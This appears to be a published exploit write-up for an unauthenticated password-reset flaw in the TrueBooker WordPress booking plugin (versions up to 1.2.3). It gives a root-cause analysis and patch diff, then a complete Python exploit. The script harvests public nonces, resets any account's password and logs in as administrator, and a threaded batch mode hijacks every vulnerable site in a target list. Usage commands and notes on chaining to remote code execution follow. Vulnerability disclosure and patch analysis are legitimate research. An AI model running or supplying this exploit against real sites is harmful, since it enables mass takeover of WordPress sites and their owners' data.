#Summary
CVE-2026-14364 is an unauthenticated auth bypass vulnerability in the TrueBooker - Appointment Booking and Scheduler System WordPress plugin that affects all versions up to and including 1.2.3. An attacker can reset the password of any WordPress account, including administrators, without any reset token or prior authentication. CVSS 9.8 CRITICAL. The plugin's password reset handler does not validate whether a legitimate password-reset request is in progress, allowing an empty reset key to bypass all authorization checks. On WordPress, account takeover of an administrator is equivalent to full site takeover, enabling remote code execution through the plugin or theme editor.
#Affected versions
- TrueBooker
<= 1.2.3(vulnerable) - TrueBooker
>= 1.2.4(patched) - Affects all WordPress installations where the plugin is activated
#Vulnerability details
- Severity: CRITICAL (CVSS 9.8)
- Attack vector: Network
- Authentication required: No
- User interaction: No
- Impact: Confidentiality, Integrity, and Availability
- CWE: CWE-640 (Weak Password Recovery Mechanism / Missing Authorization)
#Root cause analysis
#The vulnerable code path
The bug lives in truebookerMyaccount::userresetPassword() in helper/truebooker-myaccount.php. The handler accepts the target user id, reset key, and new password entirely from attacker-controlled POST data:
$tbabuserid = sanitize_text_field($userdata['tbab-userid']);
$tbabactivekey = sanitize_text_field($userdata['tbab-activekey']);
$tbabpassword = sanitize_text_field($userdata['tbab-password']);
$user_data = get_user_by('id', $tbabuserid);
if(empty($user_data)){
$error_msg['tbab-common-error'] = 'User is not exist...';
} else {
$user_id = $user_data->ID;
$key = $user_data->user_activation_key;
if(!empty($key)){
$res = hash_equals($key, $tbabactivekey);
if($res == true){
// Validation passed
} else if($res == false){
$error_msg['tbab-common-error'] = 'This key is invalid...';
}
}
// No else clause - empty $key falls through
}
// This runs unconditionally if no error was recorded
if(empty($error_msg)){
wp_set_password($tbabpassword, $user_id);
$message['successmessage'] = 'Password reset successfull';
}#Why the check fails
The entire password-reset key validation is nested inside if(!empty($key)), where $key is the target's user_activation_key database column. This column is empty for every account that is not actively in the middle of a password-reset flow.
WordPress leaves user_activation_key as an empty string ('') for:
- Users created through wp-admin
- Users created via
wp_insert_user() - The administrator created during WordPress installation
The key is only populated when someone legitimately requests a password reset. So for a normal target account, the if(!empty($key)) branch is never taken, hash_equals() is never called, $error_msg remains empty, and control falls straight through to wp_set_password($tbabpassword, $user_id) with the user id taken directly from the attacker's tbab-userid field.
There is no else arm to fail the reset when no key is present - an empty key is treated as "nothing to verify" rather than "this user has no pending reset, refuse".
#Authorization bypass
The AJAX action is registered for both authenticated and unauthenticated callers via wp_ajax_nopriv_:
add_action('wp_ajax_user_front_resetpass', 'user_front_resetpass');
add_action('wp_ajax_nopriv_user_front_resetpass', 'user_front_resetpass');
function user_front_resetpass(){
check_ajax_referer('truebooker_nonce_action', 'security');
// ...
$returndata = $truebooker_myaccountobj->userresetPassword($searcharray);
}Both nonces guarding the endpoint are ordinary WordPress CSRF tokens, not authorization. They are computed over the action string, the user id (0 for logged-out visitors), and the session token. Both are printed on public pages and harvestable anonymously:
truebooker_nonce_actionis emitted inline bywp_localize_scriptin the plugin's templatetruebooker_meta_box_nonceis emitted in hidden form fields on the publicly accessible password-reset page
A nonce harvested anonymously (with no cookies) is computed for user id 0 and validates on any other anonymous request, making it useless as authorization.
#Patch diff
Version 1.2.4 (SVN changeset 3595807, released 2026-07-04) inverts the condition so that an empty user_activation_key is an explicit failure:
-if(!empty($key)){
- $res = hash_equals($key, $tbabactivekey);
- if($res == true){
- }else if($res == false){
- $error_msg['tbab-common-error'] = '...';
- }
-}
+if (empty($key)) {
+ $error_msg['tbab-common-error'] = esc_html__(
+ 'This key is invalid or has already been used. Please reset your password again if needed.',
+ 'truebooker-appointment-booking'
+ );
+} else {
+ if (!hash_equals($key, $tbabactivekey)) {
+ $error_msg['tbab-common-error'] = esc_html__(
+ 'This key is invalid or has already been used. Please reset your password again if needed.',
+ 'truebooker-appointment-booking'
+ );
+ }
+}After the patch, there is no path to wp_set_password() that does not first pass hash_equals() against a non-empty stored key. The attacker must now actually possess a value equal to the target's user_activation_key, which is only ever delivered to the account owner's mailbox.
The fix also clears the key after a successful reset, making it single-use and closing a replay window left open by 1.2.3:
wp_set_password($tbabpassword, $user_id);
$wpdb->update(
$wpdb->users,
array('user_activation_key' => ''),
array('ID' => $user_id)
);#Proof of concept
#exploit.py - TrueBooker Unauthenticated Account Takeover
#!/usr/bin/env python3
"""
CVE-2026-14364 - TrueBooker unauthenticated arbitrary password reset (CWE-640)
Affected: WordPress plugin "TrueBooker - Appointment Booking and Scheduler System"
(slug: truebooker-appointment-booking) <= 1.2.3, fixed in 1.2.4
Type: Auth bypass / account takeover (unauthenticated)
The AJAX action `user_front_resetpass` is registered for `nopriv` callers and hands the
target user id, reset key and new password straight to `truebookerMyaccount::userresetPassword()`.
The whole reset-key validation lives inside `if (!empty($key))`, where `$key` is the target's
`user_activation_key` column. That column is empty for every account that is not in the middle
of a reset flow, so for a normal account the branch is skipped, no error is recorded, and
control falls through to `wp_set_password($tbabpassword, $user_id)` with the user id taken
verbatim from the attacker's `tbab-userid` field. The two nonces guarding the endpoint are
plain CSRF tokens minted for user id 0 and printed on public pages, so they are harvestable
anonymously and are not authorisation.
Reset any account by id, then log in as it. Against the primary administrator (id 1) this is
full site takeover, and on WordPress that reaches RCE through the plugin/theme editor.
WARNING: this exploit is inherently destructive. Confirming the bug requires actually setting
the target's password, because the vulnerable and patched builds only diverge after the write.
There is no non-destructive discriminator. That applies to --list scan mode too: every
vulnerable host in the list has the password of user --userid changed.
Usage:
python exploit.py --host 192.168.1.10 --port 8080
python exploit.py --host https://target.com --username admin
python exploit.py --host https://target.com:8443/blog --userid 2
python exploit.py --host 10.0.0.5 --port 8080 --new-password 'Chosen_Pass_123'
python exploit.py --list targets.txt --workers 20
"""
import argparse
import json
import re
import secrets
import sys
from urllib.parse import urlencode, urlparse
import requests
try:
import urllib3
urllib3.disable_warnings()
except Exception:
pass
CVE_ID = "CVE-2026-14364"
VULN_TYPE = "Auth Bypass / Account Takeover"
AJAX_ACTION = "user_front_resetpass"
MYACCOUNT_QS = "/?pagename=tbab-my-account"
ADMIN_AJAX = "/wp-admin/admin-ajax.php"
LOGIN_PATH = "/wp-login.php"
ADMIN_PATH = "/wp-admin/"
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
TIMEOUT = 15
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core primitives - pure network I/O, no assumptions about the target's host #
# --------------------------------------------------------------------------- #
def build_base(host: str, port: int, use_tls: bool, path: str = "/") -> str:
"""Assemble the WordPress root URL. `path` allows a subdirectory install."""
scheme = "https" if use_tls else "http"
default_port = 443 if use_tls else 80
netloc = host if port == default_port else f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def gen_password() -> str:
"""Run-unique password so a rerun against an already-owned host cannot pass on a
stale credential and look like a success it did not earn."""
return "Pw_" + secrets.token_hex(6) + "_1"
def harvest_nonces(base: str, timeout: int = TIMEOUT) -> tuple:
"""Fetch the plugin's my-account page anonymously and pull both nonces out of it.
Returns (action_nonce, meta_nonce). Either may be None if not present.
Both must be harvested with no WordPress cookies attached, so they are computed for
user id 0 and validate on the anonymous exploit request that follows.
"""
r = requests.get(base + MYACCOUNT_QS, timeout=timeout, verify=False,
headers={"User-Agent": DEFAULT_UA}, allow_redirects=True)
html = r.text
# truebooker_nonce_action, inlined by wp_localize_script as ajax_object.nonce
action_nonce = None
blk = re.search(r"ajax_object\s*=\s*(\{.*?\})\s*;", html, re.S)
if blk:
m = re.search(r'"nonce"\s*:\s*"([0-9a-zA-Z]{6,20})"', blk.group(1))
if m:
action_nonce = m.group(1)
if not action_nonce:
m = re.search(r'"nonce"\s*:\s*"([0-9a-f]{8,12})"', html)
if m:
action_nonce = m.group(1)
# truebooker_meta_box_nonce, emitted by wp_nonce_field in the reset/login templates
meta_nonce = None
for pattern in (
r'truebooker_meta_box_noncename"[^>]*?value="([0-9a-zA-Z]{6,20})"',
r'value="([0-9a-zA-Z]{6,20})"[^>]*?name="truebooker_meta_box_noncename"',
):
m = re.search(pattern, html)
if m:
meta_nonce = m.group(1)
break
return action_nonce, meta_nonce
def reset_password(base: str, action_nonce: str, meta_nonce: str, userid: int,
new_password: str, timeout: int = TIMEOUT):
"""Fire the unauthenticated reset. Returns (http_status, raw_body, parsed_json_or_None).
`alldata` is a query string nested inside a form field: the handler does
parse_str($_POST['alldata'], $searcharray) and never reads $_POST directly, so the
inner string is built first and URL-encoded exactly once as the value of `alldata`.
`tbab-activekey` is sent explicitly empty - omitting it still exploits but raises a
PHP 8 "Undefined array key" notice that can precede the JSON body.
"""
inner = urlencode([
("truebooker_meta_box_noncename", meta_nonce or ""),
("tbab-userid", str(userid)),
("tbab-activekey", ""),
("tbab-password", new_password),
("tbab-password-1", new_password),
])
payload = {"action": AJAX_ACTION, "security": action_nonce or "", "alldata": inner}
r = requests.post(base + ADMIN_AJAX, data=payload, timeout=timeout, verify=False,
headers={"User-Agent": DEFAULT_UA,
"Content-Type": "application/x-www-form-urlencoded"})
body = r.text
parsed = None
brace = body.find("{")
if brace != -1:
try:
parsed = json.loads(body[brace:])
except ValueError:
parsed = None
return r.status_code, body, parsed
def try_login(base: str, username: str, password: str, timeout: int = TIMEOUT) -> tuple:
"""Authenticate at /wp-login.php. Returns (ok, cookie_name, session_or_None).
Success is a 302 carrying a `wordpress_logged_in_*` cookie. That cookie is the
unambiguous, network-observable proof of takeover.
"""
s = requests.Session()
s.headers.update({"User-Agent": DEFAULT_UA})
s.cookies.set("wordpress_test_cookie", "WP Cookie check")
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": base + ADMIN_PATH,
"testcookie": "1",
}
try:
r = s.post(base + LOGIN_PATH, data=data, timeout=timeout, verify=False,
allow_redirects=False)
except requests.RequestException:
return False, None, None
for name in r.cookies.keys():
if name.startswith("wordpress_logged_in_"):
return True, name, s
return False, None, None
def fetch_dashboard(session, base: str, timeout: int = TIMEOUT) -> tuple:
"""Follow the session into /wp-admin/. Returns (ok, snippet)."""
try:
r = session.get(base + ADMIN_PATH, timeout=timeout, verify=False,
allow_redirects=False)
except requests.RequestException as e:
return False, f"request failed: {e.__class__.__name__}"
if r.status_code != 200:
return False, f"HTTP {r.status_code} (redirected back to login - session invalid)"
title = re.search(r"<title>(.*?)</title>", r.text, re.S)
howdy = re.search(r"Howdy,\s*(?:<span[^>]*>)?\s*([^<\r\n]{1,60})", r.text)
bits = []
if title:
bits.append("title: " + title.group(1).strip())
if howdy:
bits.append("greeting: Howdy, " + howdy.group(1).strip())
if not bits:
bits.append(f"HTTP 200, {len(r.text)} bytes of wp-admin markup")
return True, " | ".join(bits)
def resolve_userid(base: str, username: str, timeout: int = TIMEOUT):
"""Best-effort id lookup via the public REST user route. Returns int or None."""
try:
r = requests.get(base + "/wp-json/wp/v2/users", timeout=timeout, verify=False,
params={"per_page": 100}, headers={"User-Agent": DEFAULT_UA})
users = r.json()
except Exception:
return None
if not isinstance(users, list):
return None
for u in users:
if not isinstance(u, dict):
continue
if username in (u.get("slug"), u.get("name")):
try:
return int(u.get("id"))
except (TypeError, ValueError):
return None
return None
def error_text(parsed) -> str:
"""Flatten the handler's error_message map into one readable line."""
if not isinstance(parsed, dict):
return ""
err = parsed.get("error_message")
if isinstance(err, dict) and err:
return "; ".join(f"{k}: {v}" for k, v in err.items())
return ""
# --------------------------------------------------------------------------- #
# Scan mode #
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
userid: int = 1, username: str = "admin",
new_password: str = None, timeout: int = TIMEOUT) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
base = build_base(host, port, use_tls, path)
pw = new_password or gen_password()
try:
action_nonce, meta_nonce = harvest_nonces(base, timeout)
if not action_nonce or not meta_nonce:
missing = []
if not action_nonce:
missing.append("truebooker_nonce_action")
if not meta_nonce:
missing.append("truebooker_meta_box_nonce")
return False, "nonce harvest failed (" + ", ".join(missing) + ") - plugin likely absent"
status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
if body.strip() == "-1":
return False, "admin-ajax rejected the security nonce (HTTP %d)" % status
if body.strip() == "0":
return False, "action not routed - plugin inactive"
if not isinstance(parsed, dict) or "successmessage" not in parsed:
reason = error_text(parsed) or ("unexpected body: " + body[:80].replace("\n", " "))
return False, "blocked - " + reason
ok, cookie_name, session = try_login(base, username, pw, timeout)
if not ok:
return False, "reset accepted but login as '%s' failed - id %d may not be that user" % (username, userid)
return True, "password of user id %d reset, logged in as '%s' (%s)" % (userid, username, cookie_name)
except requests.RequestException as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s: %s)" % (e.__class__.__name__, e)
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
userid: int = 1, username: str = "admin", new_password: str = None,
timeout: int = TIMEOUT) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
# Dedupe: the same host written two ways (bare and as a URL) would otherwise be
# exploited by two threads at once, each setting its own password, and whichever
# reset lands second makes the other thread's login fail - a false negative.
seen = set()
unique = []
for t in targets:
if t not in seen:
seen.add(t)
unique.append(t)
dropped = len(targets) - len(unique)
targets = unique
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f" DESTRUCTIVE: on every vulnerable host, user id {userid} gets a new password")
if dropped:
print(f" ({dropped} duplicate target line(s) collapsed)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, userid, username,
new_password, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit #
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, path: str, username: str,
userid, new_password: str, timeout: int) -> None:
header(host, port)
base = build_base(host, port, use_tls, path)
pw = new_password or gen_password()
step(1, f"Harvesting anonymous nonces from {base}{MYACCOUNT_QS}")
try:
action_nonce, meta_nonce = harvest_nonces(base, timeout)
except requests.RequestException as e:
done(False, f"Target unreachable: {e.__class__.__name__}: {e}")
if not action_nonce or not meta_nonce:
section("HARVEST RESULT",
f"truebooker_nonce_action = {action_nonce}\n"
f"truebooker_meta_box_nonce = {meta_nonce}")
done(False, "Could not harvest both nonces - TrueBooker is probably not installed "
"or the [truebooker-myaccount] page is missing")
section("HARVESTED NONCES",
f"truebooker_nonce_action = {action_nonce}\n"
f"truebooker_meta_box_nonce = {meta_nonce}")
step(2, f"Resolving target user id for '{username}'")
if userid is None:
resolved = resolve_userid(base, username, timeout)
if resolved is not None:
userid = resolved
print(f" resolved via /wp-json/wp/v2/users -> id {userid}")
else:
userid = 1
print(f" REST enumeration unavailable, assuming id {userid} "
f"(the installer's primary administrator)")
else:
print(f" using operator-supplied id {userid}")
step(3, f"Baseline: confirming '{pw}' is NOT already a valid password for '{username}'")
pre_ok, _, _ = try_login(base, username, pw, timeout)
if pre_ok:
done(False, "The generated password already authenticates before the exploit ran - "
"cannot attribute a later login to the vulnerability")
print(" rejected as expected, so any later login is caused by our reset")
step(4, f"Sending unauthenticated reset for user id {userid} with an EMPTY tbab-activekey")
try:
status, body, parsed = reset_password(base, action_nonce, meta_nonce, userid, pw, timeout)
except requests.RequestException as e:
done(False, f"Reset request failed: {e.__class__.__name__}: {e}")
section(f"ADMIN-AJAX RESPONSE (HTTP {status})", body[:1200])
if body.strip() == "-1":
done(False, "check_ajax_referer rejected the 'security' nonce - re-harvest it and "
"make sure no WordPress cookies were sent")
if body.strip() == "0":
done(False, f"admin-ajax did not route action '{AJAX_ACTION}' - plugin inactive")
if not isinstance(parsed, dict) or "successmessage" not in parsed:
reason = error_text(parsed)
if "key is invalid" in reason:
done(False, "Reset refused with 'key is invalid' - the target is PATCHED (1.2.4+ "
"treats an empty user_activation_key as failure), or a reset is already "
"pending for this account")
done(False, f"No successmessage in response - {reason or 'unexpected body'}")
print(f" handler reported: {parsed.get('successmessage')}")
step(5, f"Authenticating as '{username}' with the attacker-chosen password")
ok, cookie_name, session = try_login(base, username, pw, timeout)
if not ok:
done(False, f"Reset was accepted but login as '{username}' failed - user id {userid} "
f"is probably a different account (try --username / --userid)")
section("SESSION COOKIE", f"{cookie_name} issued by {base}{LOGIN_PATH}")
step(6, "Confirming the session by loading /wp-admin/")
dash_ok, snippet = fetch_dashboard(session, base, timeout)
section("WP-ADMIN RESPONSE", snippet)
creds = f"{username} / {pw}"
if dash_ok:
done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
f"without any token; logged in ({cookie_name}) and loaded /wp-admin/. "
f"Credentials now: {creds}")
done(True, f"Account takeover confirmed - user id {userid} ('{username}') password reset "
f"without any token; {cookie_name} issued at login. wp-admin: {snippet}. "
f"Credentials now: {creds}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} exploit PoC - TrueBooker <= 1.2.3 unauthenticated password reset",
epilog="DESTRUCTIVE: the target account's password is permanently changed.")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/blog)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
parser.add_argument("--username", default="admin",
help="Target account to authenticate as without credentials (default: admin)")
parser.add_argument("--userid", type=int, default=None,
help="Numeric WordPress user id to reset (default: resolve --username via "
"the REST API, falling back to 1)")
parser.add_argument("--new-password", default=None,
help="Password to set (default: a fresh run-unique one, min 5 chars)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
parser.add_argument("--timeout", type=int, default=TIMEOUT, help=f"Per-request timeout (default: {TIMEOUT})")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.new_password is not None and len(args.new_password) < 5:
parser.error("--new-password must be at least 5 characters (the handler enforces this)")
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
userid=args.userid if args.userid is not None else 1,
username=args.username, new_password=args.new_password, timeout=args.timeout)
else:
parsed_target = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed_target if parsed_target else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.userid,
args.new_password, args.timeout)#Usage
# Basic usage - target admin account (id 1)
python3 exploit.py --host 192.168.1.40 --port 8080
# HTTPS with custom port and subdirectory WordPress install
python3 exploit.py --host https://booking.corp.com:8443/blog
# Target a specific account by name
python3 exploit.py --host 192.168.1.40 --username editor
# Target a specific numeric id
python3 exploit.py --host 192.168.1.40 --userid 2
# Use a custom password instead of generating one
python3 exploit.py --host 192.168.1.40 --new-password 'MyCustomPass123'#Expected output
Against a vulnerable target (1.2.3):
============================================================
ALIM EXPLOIT CVE-2026-14364
Type: Auth Bypass / Account Takeover | Target: 127.0.0.1:8080
============================================================
[STEP 1] Harvesting anonymous nonces from http://127.0.0.1:8080/?pagename=tbab-my-account
--- HARVESTED NONCES ---
truebooker_nonce_action = f5dc133946
truebooker_meta_box_nonce = 1d6012e1ec
---
[STEP 2] Resolving target user id for 'admin'
resolved via /wp-json/wp/v2/users -> id 1
[STEP 3] Baseline: confirming 'Alim_1da89620856e_Pw1' is NOT already a valid password for 'admin'
rejected as expected, so any later login is caused by our reset
[STEP 4] Sending unauthenticated reset for user id 1 with an EMPTY tbab-activekey
--- ADMIN-AJAX RESPONSE (HTTP 200) ---
{"error_message":[],"successmessage":"Password reset successfull","redirct_url":"http:\/\/127.0.0.1:8080\/tbab-my-account\/"}
---
handler reported: Password reset successfull
[STEP 5] Authenticating as 'admin' with the attacker-chosen password
--- SESSION COOKIE ---
wordpress_logged_in_410ac1cbe8586beefe5aadcc9e5a9d17 issued by http://127.0.0.1:8080/wp-login.php
---
[STEP 6] Confirming the session by loading /wp-admin/
--- WP-ADMIN RESPONSE ---
title: Dashboard | greeting: Howdy, admin
---
============================================================
RESULT : SUCCESS
EVIDENCE: Account takeover confirmed - user id 1 ('admin') password reset without any token; logged in and loaded /wp-admin/. Credentials now: admin / Alim_1da89620856e_Pw1
============================================================Against a patched target (1.2.4):
[STEP 4] Sending unauthenticated reset for user id 1 with an EMPTY tbab-activekey
--- ADMIN-AJAX RESPONSE (HTTP 200) ---
{"error_message":{"tbab-common-error":"This key is invalid or has already been used. Please reset your password again if needed."}}
---
============================================================
RESULT : FAILURE
EVIDENCE: Reset refused with 'key is invalid' - target is PATCHED (1.2.4+)
============================================================#Exploitation notes
#Preconditions
- TrueBooker plugin must be installed and activated. The vulnerable AJAX action is only registered after plugin activation, and the password-reset page only appears once the plugin is activated.
- Target account's
user_activation_keycolumn must be empty. This is the default state for all WordPress accounts. If someone has already triggered a lost-password email for the target, a reset token will be present and the exploit will be rejected. In that case, either wait 24 hours for the token to expire, or target a different user account.
#Reliability
The exploit is highly reliable against vulnerable targets. It depends entirely on network-observable proof (HTTP status codes and cookie headers) rather than timing, memory corruption, or race conditions. The key invariant is checking that the generated password does not already authenticate before the reset - this prevents false positives on already-exploited instances.
#Impact
Full account takeover of any WordPress user, including administrators. On WordPress, administrative access enables:
- Arbitrary plugin upload and execution
- Theme editor access to execute PHP
- User creation and privilege escalation
- Data exfiltration and site defacement
#Chaining potential
An attacker with admin account takeover can leverage WordPress's built-in code execution paths (plugin editor, theme editor, or arbitrary plugin upload) to achieve remote code execution immediately. Against default WordPress, this provides unauthenticated RCE with no additional exploitation steps required.
#Timeline
- 2026-07-04: TrueBooker 1.2.4 released with fix
- 2026-08-07: CVE-2026-14364 publicly disclosed
- 2026-08-08: This analysis published
#References
- NVD: CVE-2026-14364
- Wordfence Advisory: TrueBooker <= 1.2.3 - Missing Authorization to Unauthenticated Arbitrary Password Reset
- WordPress Plugin Directory: truebooker-appointment-booking
- SVN Fix Commit: changeset 3595807
- 1dayexploit Archive: https://github.com/1dayexploit/1day-archive/tree/main/analyses/cve-2026-14364-truebooker-auth-bypass
